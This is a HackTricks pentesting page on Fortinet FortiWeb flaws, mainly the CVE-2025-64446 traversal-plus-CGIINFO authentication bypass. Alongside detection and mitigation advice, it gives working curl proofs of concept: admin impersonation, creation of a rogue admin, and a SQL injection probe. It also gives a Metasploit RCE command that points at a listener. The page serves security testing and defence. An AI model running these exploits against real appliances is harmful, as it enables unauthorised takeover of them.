fortinet-fortiweb.md (12552B)
1 --- 2 title: "Fortinet FortiWeb — Auth bypass via API-prefix traversal and CGIINFO impersonation" 3 section: "Network Services" 4 sectionSlug: "network-services-pentesting" 5 sourcePath: "src/network-services-pentesting/pentesting-web/fortinet-fortiweb.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/pentesting-web/fortinet-fortiweb.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # Fortinet FortiWeb — Auth bypass via API-prefix traversal and CGIINFO impersonation 14 15 ## Overview 16 17 Fortinet FortiWeb exposes a centralized CGI dispatcher at `/cgi-bin/fwbcgi`. A two-bug chain allows an unauthenticated remote attacker to: 18 - Reach `fwbcgi` by starting the URL with a valid API prefix and traversing directories. 19 - Impersonate any user (including the built-in `admin`) by supplying a special HTTP header that the CGI trusts as identity.<sup>[[2]](#references)</sup> 20 21 Vendor advisory: FG‑IR‑25‑910 (CVE‑2025‑64446). Exploitation has been observed in the wild to create persistent admin users.<sup>[[1]](#references)</sup> 22 23 Impacted versions (as publicly documented):<sup>[[2]](#references)</sup> 24 - 8.0 < 8.0.2 25 - 7.6 < 7.6.5 26 - 7.4 < 7.4.10 27 - 7.2 < 7.2.12 28 - 7.0 < 7.0.12 29 - 6.4 ≤ 6.4.3 30 - 6.3 ≤ 6.3.23 31 32 FortiWeb 8.0.2 returns HTTP 403 for the traversal probe below.<sup>[[2]](#references)</sup> 33 34 ## Quick vulnerability probe 35 36 - Path traversal from API prefix to `fwbcgi`: 37 38 ```http 39 GET /api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi HTTP/1.1 40 Host: <target> 41 ``` 42 43 - Interpretation: HTTP 200 → likely vulnerable; HTTP 403 → patched.<sup>[[2]](#references)</sup> 44 - A slightly more realistic probe is a `POST` with a minimal JSON body. Public tooling commonly uses the encoded path `/api/v2.0/cmdb/system/admin%3F/../../../../../cgi-bin/fwbcgi` because some normalizers treat the encoded `?` differently:<sup>[[4]](#references)</sup> 45 46 ```bash 47 curl -sk -X POST \ 48 -H 'Content-Type: application/json' \ 49 --data '{}' \ 50 'https://<host>/api/v2.0/cmdb/system/admin%3F/../../../../../cgi-bin/fwbcgi' 51 ``` 52 53 - Interpretation: HTTP 403 → fixed; JSON with `results.errcode == -56` → traversal succeeded and you reached the auth gate inside `fwbcgi`.<sup>[[4]](#references)</sup> 54 55 ## Root cause chain 56 57 1) API-prefix path traversal to internal CGI 58 - Any request path that begins with a valid FortiWeb API prefix (e.g., `/api/v2.0/cmdb/` or `/api/v2.0/cmd/`) can traverse with `../` to `/cgi-bin/fwbcgi`.<sup>[[2]](#references)</sup> 59 60 2) Minimal-body validation bypass 61 - Once `fwbcgi` is reached, a first gate performs a permissive JSON check keyed by a per-path file under `/var/log/inputcheck/`. If the file is absent, the check passes immediately. If present, the body only needs to be valid JSON. Use `{}` as a minimal compliant body. 62 63 3) Header-driven user impersonation 64 - The program reads the CGI environment variable `HTTP_CGIINFO` (derived from the HTTP header `CGIINFO`), Base64-decodes it, parses JSON, and copies attributes directly into the login context, setting the domain/VDOM. Keys of interest: 65 - `username`, `loginname`, `vdom`, `profname` 66 - Example JSON to impersonate the built-in admin: 67 68 ```json 69 { 70 "username": "admin", 71 "profname": "prof_admin", 72 "vdom": "root", 73 "loginname": "admin" 74 } 75 ``` 76 77 Base64 of the above (as used in-the-wild): 78 79 ```text 80 eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJwcm9mbmFtZSI6ICJwcm9mX2FkbWluIiwgInZkb20iOiAicm9vdCIsICJsb2dpbm5hbWUiOiAiYWRtaW4ifQ== 81 ``` 82 83 ## End-to-end abuse pattern (unauthenticated → admin) 84 85 1) Reach `/cgi-bin/fwbcgi` via an API-prefix traversal.<sup>[[2]](#references)</sup> 86 2) Provide any valid JSON body (e.g., `{}`) to satisfy the input check. 87 3) Send header `CGIINFO: <base64(json)>` where the JSON defines the target identity. 88 4) POST the backend JSON expected by `fwbcgi` to perform privileged actions (e.g., create an admin user for persistence). 89 90 ### Minimal cURL PoC 91 92 - Probe traversal exposure: 93 94 ```bash 95 curl -ik 'https://<host>/api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi' 96 ``` 97 98 - Impersonate admin and create a new local admin user: 99 100 ```bash 101 # Base64(JSON) for admin impersonation 102 B64='eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJwcm9mbmFtZSI6ICJwcm9mX2FkbWluIiwgInZkb20iOiAicm9vdCIsICJsb2dpbm5hbWUiOiAiYWRtaW4ifQ==' 103 104 curl -ik \ 105 -H "CGIINFO: $B64" \ 106 -H 'Content-Type: application/json' \ 107 -X POST \ 108 --data '{"data":{"name":"watchTowr","access-profile":"prof_admin","access-profile_val":"0","trusthostv4":"0.0.0.0/0","trusthostv6":"::/0","type":"local-user","type_val":"0","password":"P@ssw0rd!"}}' \ 109 'https://<host>/api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi' 110 ``` 111 112 Notes: 113 - Any valid JSON body suffices (e.g., `{}`) if `/var/log/inputcheck/<path>.json` does not exist. 114 - The action schema is FortiWeb-internal; the example above adds a local admin with full privileges.<sup>[[2]](#references)</sup> 115 116 ### Chaining the auth bypass to OS-level RCE 117 118 - CVE-2025-64446 gives access to privileged management actions, but operators should assume public exploit chains will immediately try to turn it into shell access. 119 - Public tooling now chains the auth bypass with **CVE-2025-58034**: create a local admin through `fwbcgi`, log in via `/logincheck`, then drive the management CLI to execute payloads.<sup>[[4]](#references)</sup> 120 - Observed/public transports for the CLI stage:<sup>[[4]](#references)</sup> 121 - **FortiWeb 7.x / 8.x**: WebSocket CLI at `/ws/cli/open` 122 - **FortiWeb 6.x**: HTTP CLI bridge at `/httpclirqst` 123 - The public Metasploit module `exploit/linux/http/fortinet_fortiweb_rce` uses the same logic and performs a relatively safe check first (`403` on patched builds, usually JSON `errcode -56` on exposed ones).<sup>[[4]](#references)</sup> 124 125 ```bash 126 msfconsole -q -x 'use exploit/linux/http/fortinet_fortiweb_rce; set RHOSTS <target>; set LHOST <listener>; check; run' 127 ``` 128 129 ## Other FortiWeb vulnerabilities worth checking quickly 130 131 ### Pre-auth Fabric Connector SQLi → RCE (CVE-2025-25257) 132 - Affects 7.6.0–7.6.3, 7.4.0–7.4.7, 7.2.0–7.2.10, 7.0.0–7.0.10. Fixed in 7.6.4 / 7.4.8 / 7.2.11 / 7.0.11.<sup>[[3]](#references)</sup> 133 - Bug: `get_fabric_user_by_token()` uses the `Authorization: Bearer <token>` value directly in a SQL query. Attacker input is first parsed with `Bearer %128s`, so spaces terminate the payload; public exploitation replaces spaces with `/**/` comments. 134 - Typical attack surface: `/api/fabric/device/status` (and other Fabric Connector endpoints) over HTTP/HTTPS on the management plane. 135 - Non-destructive validation commonly uses a time-based payload: 136 137 ```bash 138 time curl -sk \ 139 -H "Authorization: Bearer AAAAAA'/**/or/**/sleep(5)--/**/-'" \ 140 'https://<host>/api/fabric/device/status' 141 ``` 142 143 - Weaponization: move from SQLi to file write (`INTO OUTFILE`) and then to code execution (for example a Python `.pth` loader or CGI dropper). The FortiWeb-specific file-write/RCE details are already covered in [MySQL file write to Python `.pth` RCE](/hacktricks/network-services-pentesting/pentesting-mysql#into-outfile-python-pth-rce-site-specific-configuration-hooks). 144 - Hunting clues: Authorization headers containing quotes/comment sequences/`sleep(`/`union`; unexpected files under `/data/lib/python*/site-packages/` or `/data/var/waf/html/ROOT/cgi-bin/`. 145 146 ### FortiCloud SSO signature bypass (CVE-2025-59719) 147 - Improper SAML signature verification lets an attacker forge FortiCloud SSO responses and log in as admin with no credentials. 148 - Only exploitable when **FortiCloud SSO login** is enabled (it turns on automatically if the appliance was registered via GUI unless the checkbox was unticked). 149 - Affected (per PSIRT): 8.0.0, 7.6.0–7.6.4, 7.4.0–7.4.9. Patched in 8.0.1 / 7.6.5 / 7.4.10. 150 151 ### Administrative FortiCloud SSO account-binding bypass (CVE-2026-24858) 152 - This is a different bug class from CVE-2025-59719: the attacker needs **any FortiCloud account plus any registered Fortinet device**, then abuses FortiCloud SSO to log in to other customers' devices if FortiCloud SSO admin login is enabled there.<sup>[[5]](#references)</sup> 153 - Fortinet reported in-the-wild exploitation, temporarily disabled FortiCloud SSO on the FortiCloud side on **2026-01-26**, and re-enabled it on **2026-01-27** with vulnerable client versions blocked. 154 - FortiWeb affected versions: **8.0.0–8.0.3**, **7.6.0–7.6.6**, **7.4.0–7.4.11**. Fixed in **8.0.4 / 7.6.7 / 7.4.12**. 155 - Factory defaults do **not** enable this login path, but GUI-based registration can enable it if the administrator leaves **Allow administrative login using FortiCloud SSO** turned on. 156 157 ### OS command injection in management plane (CVE-2025-58034) 158 - Affected: 7.0.0–7.0.11, 7.2.0–7.2.11, 7.4.0–7.4.10, 7.6.0–7.6.5, 8.0.0–8.0.1. Fixed in 7.0.12 / 7.2.12 / 7.4.11 / 7.6.6 / 8.0.2.<sup>[[4]](#references)</sup> 159 - Practical impact: this is the post-auth primitive most worth caring about because it can be chained with CVE-2025-64446 to obtain **unauthenticated RCE**. 160 - Public exploit chains execute commands through the management CLI, using `/ws/cli/open` on 7.x/8.x and `/httpclirqst` on 6.x after a valid admin session exists. 161 162 ## Detection 163 164 - Requests reaching `/cgi-bin/fwbcgi` via API-prefix paths containing `../`, especially the public exploit form `/api/v2.0/cmdb/system/admin%3F/../../../../../cgi-bin/fwbcgi`.<sup>[[4]](#references)</sup> 165 - Presence of header `CGIINFO` with Base64 JSON containing keys `username`/`loginname`/`vdom`/`profname`.<sup>[[2]](#references)</sup> 166 - Follow-on activity after the auth bypass: 167 - Unexpected local admin creation. 168 - Fresh sessions to `/logincheck` immediately followed by `/ws/cli/open` or `/httpclirqst`. 169 - Configuration changes or command execution shortly after `fwbcgi` access. 170 - Fabric Connector SQLi: Authorization headers containing quotes/comment sequences/`sleep(`/`union`; hits to `/api/fabric/device/status` from internet IPs; sudden files in Python site-packages or CGI directories.<sup>[[3]](#references)</sup> 171 - FortiCloud SSO abuse: unexpected administrative logins through FortiCloud SSO on appliances that were registered through the GUI, especially if that login path was thought to be unused.<sup>[[5]](#references)</sup> 172 - Backend artifacts:<sup>[[2]](#references)</sup> 173 - Per-path files under `/var/log/inputcheck/` (gate configuration). 174 - Unexpected admin creation and configuration changes. 175 - Rapid validation: the traversal probe returning 200 (exposed) or JSON auth errors (such as `errcode -56`) vs 403 (blocked in fixed builds).<sup>[[4]](#references)</sup> 176 177 ## Mitigation 178 179 - Upgrade CVE-2025-64446-exposed builds to fixed releases (examples: 8.0.2, 7.6.5, 7.4.10, 7.2.12, 7.0.12) per vendor advisory.<sup>[[1]](#references)</sup> 180 - Patch the related management-plane bugs as well: 181 - SQLi (CVE-2025-25257): 7.6.4 / 7.4.8 / 7.2.11 / 7.0.11 182 - FortiCloud SSO signature bypass (CVE-2025-59719): 8.0.1 / 7.6.5 / 7.4.10 183 - FortiCloud SSO account-binding bypass (CVE-2026-24858): 8.0.4 / 7.6.7 / 7.4.12 184 - Command injection (CVE-2025-58034): 7.6.6 / 7.4.11 / 7.2.12 / 7.0.12 / 8.0.2 185 - Until patched: 186 - Do not expose FortiWeb management plane to untrusted networks. 187 - Add reverse-proxy/WAF rules to block: 188 - Paths that start with `/api/` and contain `../cgi-bin/fwbcgi`. 189 - Requests carrying a `CGIINFO` header. 190 - Fabric Connector calls with SQL metacharacters in `Authorization`. 191 - Disable **Allow administrative login using FortiCloud SSO** if you do not explicitly need it. 192 - Monitor and alert on the detection indicators above. 193 194 ## References 195 196 - [1] [Fortinet PSIRT FG-IR-25-910 — Path confusion vulnerability in GUI (CVE-2025-64446)](https://fortiguard.fortinet.com/psirt/FG-IR-25-910) 197 - [2] [When the impersonation function gets used to impersonate users — Fortinet FortiWeb auth bypass (watchTowr Labs)](https://labs.watchtowr.com/when-the-impersonation-function-gets-used-to-impersonate-users-fortinet-fortiweb-auth-bypass/) 198 - [3] [Pre-auth SQL Injection to RCE — Fortinet FortiWeb Fabric Connector (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/) 199 - [4] [Rapid7 Metasploit module: `fortinet_fortiweb_rce`](https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/fortinet_fortiweb_rce.rb) 200 - [5] [Fortinet PSIRT FG-IR-26-060 — Administrative FortiCloud SSO authentication bypass (CVE-2026-24858)](https://www.fortiguard.com/psirt/FG-IR-26-060)